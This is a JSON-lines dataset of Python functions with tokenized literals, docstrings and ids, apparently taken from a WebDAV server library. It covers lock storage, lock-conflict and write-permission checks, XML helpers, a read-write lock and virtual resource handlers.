{"signature": "def open(self):", "body": "assert self._dict is None<EOL>self._dict = {}<EOL>", "docstring": "Called before first use.\n\n        May be implemented to initialize a storage.", "id": "f8609:c0:m4"}
{"signature": "def close(self):", "body": "self._dict = None<EOL>", "docstring": "Called on shutdown.", "id": "f8609:c0:m5"}
{"signature": "def cleanup(self):", "body": "pass<EOL>", "docstring": "Purge expired locks (optional).", "id": "f8609:c0:m6"}
{"signature": "def clear(self):", "body": "if self._dict is not None:<EOL><INDENT>self._dict.clear()<EOL><DEDENT>", "docstring": "Delete all entries.", "id": "f8609:c0:m7"}
{"signature": "def get(self, token):", "body": "self._lock.acquire_read()<EOL>try:<EOL><INDENT>lock = self._dict.get(token)<EOL>if lock is None:<EOL><INDENT>_logger.debug(\"<STR_LIT>\".format(token))<EOL>self.delete(token)<EOL>return None<EOL><DEDENT>expire = float(lock[\"<STR_LIT>\"])<EOL>if expire >= <NUM_LIT:0> and expire < time.time():<EOL><INDENT>_logger.debug(<EOL>\"<STR_LIT>\".format(expire, lock_string(lock))<EOL>)<EOL>self.delete(token)<EOL>return None<EOL><DEDENT>return lock<EOL><DEDENT>finally:<EOL><INDENT>self._lock.release()<EOL><DEDENT>", "docstring": "Return a lock dictionary for a token.\n\n        If the lock does not exist or is expired, None is returned.\n\n        token:\n            lock token\n        Returns:\n            Lock dictionary or <None>\n\n        Side effect: if lock is expired, it will be purged and None is returned.", "id": "f8609:c0:m8"}
{"signature": "def create(self, path, lock):", "body": "self._lock.acquire_write()<EOL>try:<EOL><INDENT>assert lock.get(\"<STR_LIT>\") is None<EOL>assert lock.get(\"<STR_LIT>\") is None, \"<STR_LIT>\"<EOL>assert path and \"<STR_LIT:/>\" in path<EOL>org_path = path<EOL>path = normalize_lock_root(path)<EOL>lock[\"<STR_LIT:root>\"] = path<EOL>timeout = float(lock.get(\"<STR_LIT>\"))<EOL>if timeout is None:<EOL><INDENT>timeout = LockStorageDict.LOCK_TIME_OUT_DEFAULT<EOL><DEDENT>elif timeout < <NUM_LIT:0> or timeout > LockStorageDict.LOCK_TIME_OUT_MAX:<EOL><INDENT>timeout = LockStorageDict.LOCK_TIME_OUT_MAX<EOL><DEDENT>lock[\"<STR_LIT>\"] = timeout<EOL>lock[\"<STR_LIT>\"] = time.time() + timeout<EOL>validate_lock(lock)<EOL>token = generate_lock_token()<EOL>lock[\"<STR_LIT>\"] = token<EOL>self._dict[token] = lock<EOL>key = \"<STR_LIT>\".format(path)<EOL>if key not in self._dict:<EOL><INDENT>self._dict[key] = [token]<EOL><DEDENT>else:<EOL><INDENT>tokList = self._dict[key]<EOL>tokList.append(token)<EOL>self._dict[key] = tokList<EOL><DEDENT>self._flush()<EOL>_logger.debug(<EOL>\"<STR_LIT>\".format(org_path, lock_string(lock))<EOL>)<EOL>return lock<EOL><DEDENT>finally:<EOL><INDENT>self._lock.release()<EOL><DEDENT>", "docstring": "Create a direct lock for a resource path.\n\n        path:\n            Normalized path (utf8 encoded string, no trailing '/')\n        lock:\n            lock dictionary, without a token entry\n        Returns:\n            New unique lock token.: <lock\n\n        **Note:** the lock dictionary may be modified on return:\n\n        - lock['root'] is ignored and set to the normalized <path>\n        - lock['timeout'] may be normalized and shorter than requested\n        - lock['token'] is added", "id": "f8609:c0:m9"}
{"signature": "def refresh(self, token, timeout):", "body": "assert token in self._dict, \"<STR_LIT>\"<EOL>assert timeout == -<NUM_LIT:1> or timeout > <NUM_LIT:0><EOL>if timeout < <NUM_LIT:0> or timeout > LockStorageDict.LOCK_TIME_OUT_MAX:<EOL><INDENT>timeout = LockStorageDict.LOCK_TIME_OUT_MAX<EOL><DEDENT>self._lock.acquire_write()<EOL>try:<EOL><INDENT>lock = self._dict[token]<EOL>lock[\"<STR_LIT>\"] = timeout<EOL>lock[\"<STR_LIT>\"] = time.time() + timeout<EOL>self._dict[token] = lock<EOL>self._flush()<EOL><DEDENT>finally:<EOL><INDENT>self._lock.release()<EOL><DEDENT>return lock<EOL>", "docstring": "Modify an existing lock's timeout.\n\n        token:\n            Valid lock token.\n        timeout:\n            Suggested lifetime in seconds (-1 for infinite).\n            The real expiration time may be shorter than requested!\n        Returns:\n            Lock dictionary.\n            Raises ValueError, if token is invalid.", "id": "f8609:c0:m10"}
{"signature": "def delete(self, token):", "body": "self._lock.acquire_write()<EOL>try:<EOL><INDENT>lock = self._dict.get(token)<EOL>_logger.debug(\"<STR_LIT>\".format(lock_string(lock)))<EOL>if lock is None:<EOL><INDENT>return False<EOL><DEDENT>key = \"<STR_LIT>\".format(lock.get(\"<STR_LIT:root>\"))<EOL>if key in self._dict:<EOL><INDENT>tokList = self._dict[key]<EOL>if len(tokList) > <NUM_LIT:1>:<EOL><INDENT>tokList.remove(token)<EOL>self._dict[key] = tokList<EOL><DEDENT>else:<EOL><INDENT>del self._dict[key]<EOL><DEDENT><DEDENT>del self._dict[token]<EOL>self._flush()<EOL><DEDENT>finally:<EOL><INDENT>self._lock.release()<EOL><DEDENT>return True<EOL>", "docstring": "Delete lock.\n\n        Returns True on success. False, if token does not exist, or is expired.", "id": "f8609:c0:m11"}
{"signature": "def get_lock_list(self, path, include_root, include_children, token_only):", "body": "assert compat.is_native(path)<EOL>assert path and path.startswith(\"<STR_LIT:/>\")<EOL>assert include_root or include_children<EOL>def __appendLocks(toklist):<EOL><INDENT>for token in toklist:<EOL><INDENT>lock = self.get(token)<EOL>if lock:<EOL><INDENT>if token_only:<EOL><INDENT>lockList.append(lock[\"<STR_LIT>\"])<EOL><DEDENT>else:<EOL><INDENT>lockList.append(lock)<EOL><DEDENT><DEDENT><DEDENT><DEDENT>path = normalize_lock_root(path)<EOL>self._lock.acquire_read()<EOL>try:<EOL><INDENT>key = \"<STR_LIT>\".format(path)<EOL>tokList = self._dict.get(key, [])<EOL>lockList = []<EOL>if include_root:<EOL><INDENT>__appendLocks(tokList)<EOL><DEDENT>if include_children:<EOL><INDENT>for u, ltoks in self._dict.items():<EOL><INDENT>if util.is_child_uri(key, u):<EOL><INDENT>__appendLocks(ltoks)<EOL><DEDENT><DEDENT><DEDENT>return lockList<EOL><DEDENT>finally:<EOL><INDENT>self._lock.release()<EOL><DEDENT>", "docstring": "Return a list of direct locks for <path>.\n\n        Expired locks are *not* returned (but may be purged).\n\n        path:\n            Normalized path (utf8 encoded string, no trailing '/')\n        include_root:\n            False: don't add <path> lock (only makes sense, when include_children\n            is True).\n        include_children:\n            True: Also check all sub-paths for existing locks.\n        token_only:\n            True: only a list of token is returned. This may be implemented\n            more efficiently by some providers.\n        Returns:\n            List of valid lock dictionaries (may be empty).", "id": "f8609:c0:m12"}
{"signature": "def _flush(self):", "body": "_logger.debug(\"<STR_LIT>\")<EOL>self._lock.acquire_write()  <EOL>try:<EOL><INDENT>self._dict.sync()<EOL><DEDENT>finally:<EOL><INDENT>self._lock.release()<EOL><DEDENT>", "docstring": "Write persistent dictionary to disc.", "id": "f8609:c1:m2"}
{"signature": "def clear(self):", "body": "self._lock.acquire_write()  <EOL>try:<EOL><INDENT>was_closed = self._dict is None<EOL>if was_closed:<EOL><INDENT>self.open()<EOL><DEDENT>if len(self._dict):<EOL><INDENT>self._dict.clear()<EOL>self._dict.sync()<EOL><DEDENT>if was_closed:<EOL><INDENT>self.close()<EOL><DEDENT><DEDENT>finally:<EOL><INDENT>self._lock.release()<EOL><DEDENT>", "docstring": "Delete all entries.", "id": "f8609:c1:m3"}
{"signature": "def lock_string(lock_dict):", "body": "if not lock_dict:<EOL><INDENT>return \"<STR_LIT>\"<EOL><DEDENT>if lock_dict[\"<STR_LIT>\"] < <NUM_LIT:0>:<EOL><INDENT>expire = \"<STR_LIT>\".format(lock_dict[\"<STR_LIT>\"])<EOL><DEDENT>else:<EOL><INDENT>expire = \"<STR_LIT>\".format(<EOL>util.get_log_time(lock_dict[\"<STR_LIT>\"]), lock_dict[\"<STR_LIT>\"] - time.time()<EOL>)<EOL><DEDENT>return \"<STR_LIT>\".format(<EOL>lock_dict.get(\"<STR_LIT>\", \"<STR_LIT:?>\" * <NUM_LIT:30>)[<NUM_LIT>:<NUM_LIT>],<EOL>lock_dict.get(\"<STR_LIT:root>\"),<EOL>lock_dict.get(\"<STR_LIT>\"),<EOL>lock_dict.get(\"<STR_LIT>\"),<EOL>lock_dict.get(\"<STR_LIT>\"),<EOL>expire,<EOL>)<EOL>", "docstring": "Return readable rep.", "id": "f8615:m3"}
{"signature": "def __init__(self, storage):", "body": "assert hasattr(storage, \"<STR_LIT>\")<EOL>self._lock = ReadWriteLock()<EOL>self.storage = storage<EOL>self.storage.open()<EOL>", "docstring": "storage:\n    LockManagerStorage object", "id": "f8615:c0:m0"}
{"signature": "def _generate_lock(<EOL>self, principal, lock_type, lock_scope, lock_depth, lock_owner, path, timeout<EOL>):", "body": "if timeout is None:<EOL><INDENT>timeout = LockManager.LOCK_TIME_OUT_DEFAULT<EOL><DEDENT>elif timeout < <NUM_LIT:0>:<EOL><INDENT>timeout = -<NUM_LIT:1><EOL><DEDENT>lock_dict = {<EOL>\"<STR_LIT:root>\": path,<EOL>\"<STR_LIT:type>\": lock_type,<EOL>\"<STR_LIT>\": lock_scope,<EOL>\"<STR_LIT>\": lock_depth,<EOL>\"<STR_LIT>\": lock_owner,<EOL>\"<STR_LIT>\": timeout,<EOL>\"<STR_LIT>\": principal,<EOL>}<EOL>self.storage.create(path, lock_dict)<EOL>return lock_dict<EOL>", "docstring": "Acquire lock and return lock_dict.\n\n        principal\n            Name of the principal.\n        lock_type\n            Must be 'write'.\n        lock_scope\n            Must be 'shared' or 'exclusive'.\n        lock_depth\n            Must be '0' or 'infinity'.\n        lock_owner\n            String identifying the owner.\n        path\n            Resource URL.\n        timeout\n            Seconds to live\n\n        This function does NOT check, if the new lock creates a conflict!", "id": "f8615:c0:m4"}
{"signature": "def acquire(<EOL>self,<EOL>url,<EOL>lock_type,<EOL>lock_scope,<EOL>lock_depth,<EOL>lock_owner,<EOL>timeout,<EOL>principal,<EOL>token_list,<EOL>):", "body": "url = normalize_lock_root(url)<EOL>self._lock.acquire_write()<EOL>try:<EOL><INDENT>self._check_lock_permission(<EOL>url, lock_type, lock_scope, lock_depth, token_list, principal<EOL>)<EOL>return self._generate_lock(<EOL>principal, lock_type, lock_scope, lock_depth, lock_owner, url, timeout<EOL>)<EOL><DEDENT>finally:<EOL><INDENT>self._lock.release()<EOL><DEDENT>", "docstring": "Check for permissions and acquire a lock.\n\n        On success return new lock dictionary.\n        On error raise a DAVError with an embedded DAVErrorCondition.", "id": "f8615:c0:m5"}
{"signature": "def refresh(self, token, timeout=None):", "body": "if timeout is None:<EOL><INDENT>timeout = LockManager.LOCK_TIME_OUT_DEFAULT<EOL><DEDENT>return self.storage.refresh(token, timeout)<EOL>", "docstring": "Set new timeout for lock, if existing and valid.", "id": "f8615:c0:m6"}
{"signature": "def get_lock(self, token, key=None):", "body": "assert key in (<EOL>None,<EOL>\"<STR_LIT:type>\",<EOL>\"<STR_LIT>\",<EOL>\"<STR_LIT>\",<EOL>\"<STR_LIT>\",<EOL>\"<STR_LIT:root>\",<EOL>\"<STR_LIT>\",<EOL>\"<STR_LIT>\",<EOL>\"<STR_LIT>\",<EOL>)<EOL>lock = self.storage.get(token)<EOL>if key is None or lock is None:<EOL><INDENT>return lock<EOL><DEDENT>return lock[key]<EOL>", "docstring": "Return lock_dict, or None, if not found or invalid.\n\n        Side effect: if lock is expired, it will be purged and None is returned.\n\n        key:\n            name of lock attribute that will be returned instead of a dictionary.", "id": "f8615:c0:m7"}
{"signature": "def release(self, token):", "body": "self.storage.delete(token)<EOL>", "docstring": "Delete lock.", "id": "f8615:c0:m8"}
{"signature": "def is_token_locked_by_user(self, token, principal):", "body": "return self.get_lock(token, \"<STR_LIT>\") == principal<EOL>", "docstring": "Return True, if <token> exists, is valid, and bound to <principal>.", "id": "f8615:c0:m9"}
{"signature": "def get_url_lock_list(self, url):", "body": "url = normalize_lock_root(url)<EOL>lockList = self.storage.get_lock_list(<EOL>url, include_root=True, include_children=False, token_only=False<EOL>)<EOL>return lockList<EOL>", "docstring": "Return list of lock_dict, if <url> is protected by at least one direct, valid lock.\n\n        Side effect: expired locks for this url are purged.", "id": "f8615:c0:m10"}
{"signature": "def get_indirect_url_lock_list(self, url, principal=None):", "body": "url = normalize_lock_root(url)<EOL>lockList = []<EOL>u = url<EOL>while u:<EOL><INDENT>ll = self.storage.get_lock_list(<EOL>u, include_root=True, include_children=False, token_only=False<EOL>)<EOL>for l in ll:<EOL><INDENT>if u != url and l[\"<STR_LIT>\"] != \"<STR_LIT>\":<EOL><INDENT>continue  <EOL><DEDENT>if principal is None or principal == l[\"<STR_LIT>\"]:<EOL><INDENT>lockList.append(l)<EOL><DEDENT><DEDENT>u = util.get_uri_parent(u)<EOL><DEDENT>return lockList<EOL>", "docstring": "Return a list of valid lockDicts, that protect <path> directly or indirectly.\n\n        If a principal is given, only locks owned by this principal are returned.\n        Side effect: expired locks for this path and all parents are purged.", "id": "f8615:c0:m11"}
{"signature": "def is_url_locked(self, url):", "body": "lockList = self.get_url_lock_list(url)<EOL>return len(lockList) > <NUM_LIT:0><EOL>", "docstring": "Return True, if url is directly locked.", "id": "f8615:c0:m12"}
{"signature": "def is_url_locked_by_token(self, url, lock_token):", "body": "lockUrl = self.get_lock(lock_token, \"<STR_LIT:root>\")<EOL>return lockUrl and util.is_equal_or_child_uri(lockUrl, url)<EOL>", "docstring": "Check, if url (or any of it's parents) is locked by lock_token.", "id": "f8615:c0:m13"}
{"signature": "def _check_lock_permission(<EOL>self, url, lock_type, lock_scope, lock_depth, token_list, principal<EOL>):", "body": "assert lock_type == \"<STR_LIT>\"<EOL>assert lock_scope in (\"<STR_LIT>\", \"<STR_LIT>\")<EOL>assert lock_depth in (\"<STR_LIT:0>\", \"<STR_LIT>\")<EOL>_logger.debug(<EOL>\"<STR_LIT>\".format(<EOL>url, lock_scope, lock_depth, principal<EOL>)<EOL>)<EOL>errcond = DAVErrorCondition(PRECONDITION_CODE_LockConflict)<EOL>self._lock.acquire_read()<EOL>try:<EOL><INDENT>u = url<EOL>while u:<EOL><INDENT>ll = self.get_url_lock_list(u)<EOL>for l in ll:<EOL><INDENT>_logger.debug(\"<STR_LIT>\".format(u, lock_string(l)))<EOL>if u != url and l[\"<STR_LIT>\"] != \"<STR_LIT>\":<EOL><INDENT>continue<EOL><DEDENT>elif l[\"<STR_LIT>\"] == \"<STR_LIT>\" and lock_scope == \"<STR_LIT>\":<EOL><INDENT>continue<EOL><DEDENT>_logger.debug(<EOL>\"<STR_LIT>\".format(lock_string(l))<EOL>)<EOL>errcond.add_href(l[\"<STR_LIT:root>\"])<EOL><DEDENT>u = util.get_uri_parent(u)<EOL><DEDENT>if lock_depth == \"<STR_LIT>\":<EOL><INDENT>childLocks = self.storage.get_lock_list(<EOL>url, include_root=False, include_children=True, token_only=False<EOL>)<EOL>for l in childLocks:<EOL><INDENT>assert util.is_child_uri(url, l[\"<STR_LIT:root>\"])<EOL>_logger.debug(<EOL>\"<STR_LIT>\".format(lock_string(l))<EOL>)<EOL>errcond.add_href(l[\"<STR_LIT:root>\"])<EOL><DEDENT><DEDENT><DEDENT>finally:<EOL><INDENT>self._lock.release()<EOL><DEDENT>if len(errcond.hrefs) > <NUM_LIT:0>:<EOL><INDENT>raise DAVError(HTTP_LOCKED, err_condition=errcond)<EOL><DEDENT>return<EOL>", "docstring": "Check, if <principal> can lock <url>, otherwise raise an error.\n\n        If locking <url> would create a conflict, DAVError(HTTP_LOCKED) is\n        raised. An embedded DAVErrorCondition contains the conflicting resource.\n\n        @see http://www.webdav.org/specs/rfc4918.html#lock-model\n\n        - Parent locks WILL NOT be conflicting, if they are depth-0.\n        - Exclusive depth-infinity parent locks WILL be conflicting, even if\n          they are owned by <principal>.\n        - Child locks WILL NOT be conflicting, if we request a depth-0 lock.\n        - Exclusive child locks WILL be conflicting, even if they are owned by\n          <principal>. (7.7)\n        - It is not enough to check whether a lock is owned by <principal>, but\n          also the token must be passed with the request. (Because <principal>\n          may run two different applications on his client.)\n        - <principal> cannot lock-exclusive, if he holds a parent shared-lock.\n          (This would only make sense, if he was the only shared-lock holder.)\n        - TODO: litmus tries to acquire a shared lock on one resource twice\n          (locks: 27 'double_sharedlock') and fails, when we return HTTP_LOCKED.\n          So we allow multi shared locks on a resource even for the same\n          principal.\n\n        @param url: URL that shall be locked\n        @param lock_type: \"write\"\n        @param lock_scope: \"shared\"|\"exclusive\"\n        @param lock_depth: \"0\"|\"infinity\"\n        @param token_list: list of lock tokens, that the user submitted in If: header\n        @param principal: name of the principal requesting a lock\n\n        @return: None (or raise)", "id": "f8615:c0:m15"}
{"signature": "def check_write_permission(self, url, depth, token_list, principal):", "body": "assert compat.is_native(url)<EOL>assert depth in (\"<STR_LIT:0>\", \"<STR_LIT>\")<EOL>_logger.debug(<EOL>\"<STR_LIT>\".format(<EOL>url, depth, token_list, principal<EOL>)<EOL>)<EOL>errcond = DAVErrorCondition(PRECONDITION_CODE_LockConflict)<EOL>self._lock.acquire_read()<EOL>try:<EOL><INDENT>u = url<EOL>while u:<EOL><INDENT>ll = self.get_url_lock_list(u)<EOL>_logger.debug(\"<STR_LIT>\".format(u))<EOL>for l in ll:<EOL><INDENT>_logger.debug(\"<STR_LIT>\".format(lock_string(l)))<EOL>if u != url and l[\"<STR_LIT>\"] != \"<STR_LIT>\":<EOL><INDENT>continue<EOL><DEDENT>elif principal == l[\"<STR_LIT>\"] and l[\"<STR_LIT>\"] in token_list:<EOL><INDENT>continue<EOL><DEDENT>else:<EOL><INDENT>_logger.debug(<EOL>\"<STR_LIT>\".format(lock_string(l))<EOL>)<EOL>errcond.add_href(l[\"<STR_LIT:root>\"])<EOL><DEDENT><DEDENT>u = util.get_uri_parent(u)<EOL><DEDENT>if depth == \"<STR_LIT>\":<EOL><INDENT>childLocks = self.storage.get_lock_list(<EOL>url, include_root=False, include_children=True, token_only=False<EOL>)<EOL>for l in childLocks:<EOL><INDENT>assert util.is_child_uri(url, l[\"<STR_LIT:root>\"])<EOL>_logger.debug(<EOL>\"<STR_LIT>\".format(lock_string(l))<EOL>)<EOL>errcond.add_href(l[\"<STR_LIT:root>\"])<EOL><DEDENT><DEDENT><DEDENT>finally:<EOL><INDENT>self._lock.release()<EOL><DEDENT>if len(errcond.hrefs) > <NUM_LIT:0>:<EOL><INDENT>raise DAVError(HTTP_LOCKED, err_condition=errcond)<EOL><DEDENT>return<EOL>", "docstring": "Check, if <principal> can modify <url>, otherwise raise HTTP_LOCKED.\n\n        If modifying <url> is prevented by a lock, DAVError(HTTP_LOCKED) is\n        raised. An embedded DAVErrorCondition contains the conflicting locks.\n\n        <url> may be modified by <principal>, if it is not currently locked\n        directly or indirectly (i.e. by a locked parent).\n        For depth-infinity operations, <url> also must not have locked children.\n\n        It is not enough to check whether a lock is owned by <principal>, but\n        also the token must be passed with the request. Because <principal> may\n        run two different applications.\n\n        See http://www.webdav.org/specs/rfc4918.html#lock-model\n            http://www.webdav.org/specs/rfc4918.html#rfc.section.7.4\n\n        TODO: verify assumptions:\n        - Parent locks WILL NOT be conflicting, if they are depth-0.\n        - Exclusive child locks WILL be conflicting, even if they are owned by <principal>.\n\n        @param url: URL that shall be modified, created, moved, or deleted\n        @param depth: \"0\"|\"infinity\"\n        @param token_list: list of lock tokens, that the principal submitted in If: header\n        @param principal: name of the principal requesting a lock\n\n        @return: None or raise error", "id": "f8615:c0:m16"}
{"signature": "def string_to_xml(text):", "body": "try:<EOL><INDENT>return etree.XML(text)<EOL><DEDENT>except Exception:<EOL><INDENT>_logger.error(<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>)<EOL>_logger.error(\"<STR_LIT>\".format(text))<EOL>raise<EOL><DEDENT>", "docstring": "Convert XML string into etree.Element.", "id": "f8617:m1"}
{"signature": "def xml_to_bytes(element, pretty_print=False):", "body": "if use_lxml:<EOL><INDENT>xml = etree.tostring(<EOL>element, encoding=\"<STR_LIT>\", xml_declaration=True, pretty_print=pretty_print<EOL>)<EOL><DEDENT>else:<EOL><INDENT>xml = etree.tostring(element, encoding=\"<STR_LIT>\")<EOL>if not xml.startswith(b\"<STR_LIT>\"):<EOL><INDENT>xml = b'<STR_LIT>' + xml<EOL><DEDENT><DEDENT>assert xml.startswith(b\"<STR_LIT>\")  <EOL>return xml<EOL>", "docstring": "Wrapper for etree.tostring, that takes care of unsupported pretty_print\n    option and prepends an encoding header.", "id": "f8617:m2"}
{"signature": "def make_multistatus_el():", "body": "if use_lxml:<EOL><INDENT>return etree.Element(\"<STR_LIT>\", nsmap={\"<STR_LIT:D>\": \"<STR_LIT>\"})<EOL><DEDENT>return etree.Element(\"<STR_LIT>\")<EOL>", "docstring": "Wrapper for etree.Element, that takes care of unsupported nsmap option.", "id": "f8617:m3"}
{"signature": "def make_prop_el():", "body": "if use_lxml:<EOL><INDENT>return etree.Element(\"<STR_LIT>\", nsmap={\"<STR_LIT:D>\": \"<STR_LIT>\"})<EOL><DEDENT>return etree.Element(\"<STR_LIT>\")<EOL>", "docstring": "Wrapper for etree.Element, that takes care of unsupported nsmap option.", "id": "f8617:m4"}
{"signature": "def make_sub_element(parent, tag, nsmap=None):", "body": "if use_lxml:<EOL><INDENT>return etree.SubElement(parent, tag, nsmap=nsmap)<EOL><DEDENT>return etree.SubElement(parent, tag)<EOL>", "docstring": "Wrapper for etree.SubElement, that takes care of unsupported nsmap option.", "id": "f8617:m5"}
{"signature": "def element_content_as_string(element):", "body": "if len(element) == <NUM_LIT:0>:<EOL><INDENT>return element.text or \"<STR_LIT>\"  <EOL><DEDENT>stream = compat.StringIO()<EOL>for childnode in element:<EOL><INDENT>stream.write(xml_to_bytes(childnode, pretty_print=False) + \"<STR_LIT:\\n>\")<EOL><DEDENT>s = stream.getvalue()<EOL>stream.close()<EOL>return s<EOL>", "docstring": "Serialize etree.Element.\n\n    Note: element may contain more than one child or only text (i.e. no child\n          at all). Therefore the resulting string may raise an exception, when\n          passed back to etree.XML().", "id": "f8617:m6"}
{"signature": "def __init__(self):", "body": "<EOL>self.__condition = Condition(Lock())<EOL>self.__writer = None<EOL>self.__upgradewritercount = <NUM_LIT:0><EOL>self.__pendingwriters = []<EOL>self.__readers = {}<EOL>", "docstring": "Initialize this read-write lock.", "id": "f8619:c0:m0"}
{"signature": "def acquire_read(self, timeout=None):", "body": "if timeout is not None:<EOL><INDENT>endtime = time() + timeout<EOL><DEDENT>me = currentThread()<EOL>self.__condition.acquire()<EOL>try:<EOL><INDENT>if self.__writer is me:<EOL><INDENT>self.__writercount += <NUM_LIT:1><EOL>return<EOL><DEDENT>while True:<EOL><INDENT>if self.__writer is None:<EOL><INDENT>if self.__upgradewritercount or self.__pendingwriters:<EOL><INDENT>if me in self.__readers:<EOL><INDENT>self.__readers[me] += <NUM_LIT:1><EOL>return<EOL><DEDENT><DEDENT>else:<EOL><INDENT>self.__readers[me] = self.__readers.get(me, <NUM_LIT:0>) + <NUM_LIT:1><EOL>return<EOL><DEDENT><DEDENT>if timeout is not None:<EOL><INDENT>remaining = endtime - time()<EOL>if remaining <= <NUM_LIT:0>:<EOL><INDENT>raise RuntimeError(\"<STR_LIT>\")<EOL><DEDENT>self.__condition.wait(remaining)<EOL><DEDENT>else:<EOL><INDENT>self.__condition.wait()<EOL><DEDENT><DEDENT><DEDENT>finally:<EOL><INDENT>self.__condition.release()<EOL><DEDENT>", "docstring": "Acquire a read lock for the current thread, waiting at most\n        timeout seconds or doing a non-blocking check in case timeout is <= 0.\n\n        In case timeout is None, the call to acquire_read blocks until the\n        lock request can be serviced.\n\n        In case the timeout expires before the lock could be serviced, a\n        RuntimeError is thrown.", "id": "f8619:c0:m1"}
{"signature": "def acquire_write(self, timeout=None):", "body": "if timeout is not None:<EOL><INDENT>endtime = time() + timeout<EOL><DEDENT>me, upgradewriter = currentThread(), False<EOL>self.__condition.acquire()<EOL>try:<EOL><INDENT>if self.__writer is me:<EOL><INDENT>self.__writercount += <NUM_LIT:1><EOL>return<EOL><DEDENT>elif me in self.__readers:<EOL><INDENT>if self.__upgradewritercount:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>upgradewriter = True<EOL>self.__upgradewritercount = self.__readers.pop(me)<EOL><DEDENT>else:<EOL><INDENT>self.__pendingwriters.append(me)<EOL><DEDENT>while True:<EOL><INDENT>if not self.__readers and self.__writer is None:<EOL><INDENT>if self.__upgradewritercount:<EOL><INDENT>if upgradewriter:<EOL><INDENT>self.__writer = me<EOL>self.__writercount = self.__upgradewritercount + <NUM_LIT:1><EOL>self.__upgradewritercount = <NUM_LIT:0><EOL>return<EOL><DEDENT><DEDENT>elif self.__pendingwriters[<NUM_LIT:0>] is me:<EOL><INDENT>self.__writer = me<EOL>self.__writercount = <NUM_LIT:1><EOL>self.__pendingwriters = self.__pendingwriters[<NUM_LIT:1>:]<EOL>return<EOL><DEDENT><DEDENT>if timeout is not None:<EOL><INDENT>remaining = endtime - time()<EOL>if remaining <= <NUM_LIT:0>:<EOL><INDENT>if upgradewriter:<EOL><INDENT>self.__readers[me] = self.__upgradewritercount<EOL>self.__upgradewritercount = <NUM_LIT:0><EOL><DEDENT>else:<EOL><INDENT>self.__pendingwriters.remove(me)<EOL><DEDENT>raise RuntimeError(\"<STR_LIT>\")<EOL><DEDENT>self.__condition.wait(remaining)<EOL><DEDENT>else:<EOL><INDENT>self.__condition.wait()<EOL><DEDENT><DEDENT><DEDENT>finally:<EOL><INDENT>self.__condition.release()<EOL><DEDENT>", "docstring": "Acquire a write lock for the current thread, waiting at most\n        timeout seconds or doing a non-blocking check in case timeout is <= 0.\n\n        In case the write lock cannot be serviced due to the deadlock\n        condition mentioned above, a ValueError is raised.\n\n        In case timeout is None, the call to acquire_write blocks until the\n        lock request can be serviced.\n\n        In case the timeout expires before the lock could be serviced, a\n        RuntimeError is thrown.", "id": "f8619:c0:m2"}
{"signature": "def release(self):", "body": "me = currentThread()<EOL>self.__condition.acquire()<EOL>try:<EOL><INDENT>if self.__writer is me:<EOL><INDENT>self.__writercount -= <NUM_LIT:1><EOL>if not self.__writercount:<EOL><INDENT>self.__writer = None<EOL>self.__condition.notifyAll()<EOL><DEDENT><DEDENT>elif me in self.__readers:<EOL><INDENT>self.__readers[me] -= <NUM_LIT:1><EOL>if not self.__readers[me]:<EOL><INDENT>del self.__readers[me]<EOL>if not self.__readers:<EOL><INDENT>self.__condition.notifyAll()<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT><DEDENT>finally:<EOL><INDENT>self.__condition.release()<EOL><DEDENT>", "docstring": "Release the currently held lock.\n\n        In case the current thread holds no lock, a ValueError is thrown.", "id": "f8619:c0:m3"}
{"signature": "def get_resource_inst(self, path, environ):", "body": "_logger.info(\"<STR_LIT>\" % path)<EOL>self._count_get_resource_inst += <NUM_LIT:1><EOL>root = ConnectionCollection(\"<STR_LIT:/>\", environ)<EOL>return root.resolve(\"<STR_LIT:/>\", path)<EOL>", "docstring": "Return DAVResource object for path.\n\n        See DAVProvider.get_resource_inst()", "id": "f8620:c4:m1"}
{"signature": "def handle_delete(self):", "body": "<EOL>if \"<STR_LIT>\" not in self.path:<EOL><INDENT>raise DAVError(HTTP_FORBIDDEN)<EOL><DEDENT>catType, tag, _rest = util.save_split(self.path.strip(\"<STR_LIT:/>\"), \"<STR_LIT:/>\", <NUM_LIT:2>)<EOL>assert catType == \"<STR_LIT>\"<EOL>assert tag in self.data[\"<STR_LIT>\"]<EOL>self.data[\"<STR_LIT>\"].remove(tag)<EOL>return True<EOL>", "docstring": "Change semantic of DELETE to remove resource tags.", "id": "f8621:c3:m4"}
{"signature": "def handle_copy(self, dest_path, depth_infinity):", "body": "<EOL>if \"<STR_LIT>\" not in dest_path:<EOL><INDENT>raise DAVError(HTTP_FORBIDDEN)<EOL><DEDENT>catType, tag, _rest = util.save_split(dest_path.strip(\"<STR_LIT:/>\"), \"<STR_LIT:/>\", <NUM_LIT:2>)<EOL>assert catType == \"<STR_LIT>\"<EOL>if tag not in self.data[\"<STR_LIT>\"]:<EOL><INDENT>self.data[\"<STR_LIT>\"].append(tag)<EOL><DEDENT>return True<EOL>", "docstring": "Change semantic of COPY to add resource tags.", "id": "f8621:c3:m5"}
{"signature": "def handle_move(self, dest_path):", "body": "<EOL>if \"<STR_LIT>\" not in self.path:<EOL><INDENT>raise DAVError(HTTP_FORBIDDEN)<EOL><DEDENT>if \"<STR_LIT>\" not in dest_path:<EOL><INDENT>raise DAVError(HTTP_FORBIDDEN)<EOL><DEDENT>catType, tag, _rest = util.save_split(self.path.strip(\"<STR_LIT:/>\"), \"<STR_LIT:/>\", <NUM_LIT:2>)<EOL>assert catType == \"<STR_LIT>\"<EOL>assert tag in self.data[\"<STR_LIT>\"]<EOL>self.data[\"<STR_LIT>\"].remove(tag)<EOL>catType, tag, _rest = util.save_split(dest_path.strip(\"<STR_LIT:/>\"), \"<STR_LIT:/>\", <NUM_LIT:2>)<EOL>assert catType == \"<STR_LIT>\"<EOL>if tag not in self.data[\"<STR_LIT>\"]:<EOL><INDENT>self.data[\"<STR_LIT>\"].append(tag)<EOL><DEDENT>return True<EOL>", "docstring": "Change semantic of MOVE to change resource tags.", "id": "f8621:c3:m6"}
{"signature": "def get_property_names(self, is_allprop):", "body": "<EOL>propNameList = super(VirtualResource, self).get_property_names(is_allprop)<EOL>propNameList.extend(VirtualResource._supportedProps)<EOL>return propNameList<EOL>", "docstring": "Return list of supported property names in Clark Notation.\n\n        See DAVResource.get_property_names()", "id": "f8621:c3:m8"}
